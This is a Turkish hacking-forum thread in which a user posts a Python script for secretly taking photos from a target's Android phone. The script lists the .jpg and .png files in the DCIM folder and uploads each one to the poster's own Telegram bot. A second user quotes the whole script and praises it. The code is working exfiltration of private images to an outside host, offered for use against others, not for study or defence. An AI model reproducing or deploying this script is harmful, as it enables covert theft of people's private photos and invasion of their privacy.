Hoşgeldin Misafir

Galero Sızma Python

serserimemom026

2 Eyl 2024
23 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhaba Ben serserimemom

Bugün sizlere Python kullanarak hedef Android cihazdaki resimleri nasıl kendinize atarsınız onu göstereceğim.

Bu kodu hedef cihazda çalıştırmak gerekiyor termux ve Pydroid3 kullanabilirsiniz.




Python:
import subprocess
import requests

def resimleri_al():
komut = 'adb shell "find /sdcard/DCIM/ -name *.jpg"'
sonuc = subprocess.run(komut, shell=True, capture_output=True, text=True)
jpg_resim_yollari = sonuc.stdout.splitlines()

komut = 'adb shell "find /sdcard/DCIM/ -name *.png"'
sonuc = subprocess.run(komut, shell=True, capture_output=True, text=True)
png_resim_yollari = sonuc.stdout.splitlines()

return jpg_resim_yollari + png_resim_yollari

def foto_gonder(resim_yolu, bot_token, sohbet_id):
url = f"https://api.telegram.org/bot{bot_token}/sendPhoto"
dosyalar = {'photo': open(resim_yolu, 'rb')}
veri = {'chat_id': sohbet_id}
yanit = requests.post(url, files=dosyalar, data=veri)
return yanit.json()

# Bot token ve sohbet ID'sini giriyoruz
bot_token = 'bot_tokeniniz'
sohbet_id = 'sohbet_idniz'

resim_yollari = resimleri_al()

for yol in resim_yollari:
foto_gonder(yol, bot_token, sohbet_id)
 

NSNHACK

20 Haz 2024
221 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhaba Ben serserimemom

Bugün sizlere Python kullanarak hedef Android cihazdaki resimleri nasıl kendinize atarsınız onu göstereceğim.

Bu kodu hedef cihazda çalıştırmak gerekiyor termux ve Pydroid3 kullanabilirsiniz.




Python:
import subprocess
import requests

def resimleri_al():
komut = 'adb shell "find /sdcard/DCIM/ -name *.jpg"'
sonuc = subprocess.run(komut, shell=True, capture_output=True, text=True)
jpg_resim_yollari = sonuc.stdout.splitlines()

komut = 'adb shell "find /sdcard/DCIM/ -name *.png"'
sonuc = subprocess.run(komut, shell=True, capture_output=True, text=True)
png_resim_yollari = sonuc.stdout.splitlines()

return jpg_resim_yollari + png_resim_yollari

def foto_gonder(resim_yolu, bot_token, sohbet_id):
url = f"https://api.telegram.org/bot{bot_token}/sendPhoto"
dosyalar = {'photo': open(resim_yolu, 'rb')}
veri = {'chat_id': sohbet_id}
yanit = requests.post(url, files=dosyalar, data=veri)
return yanit.json()

# Bot token ve sohbet ID'sini giriyoruz
bot_token = 'bot_tokeniniz'
sohbet_id = 'sohbet_idniz'

resim_yollari = resimleri_al()

for yol in resim_yollari:
foto_gonder(yol, bot_token, sohbet_id)
Eline sağlık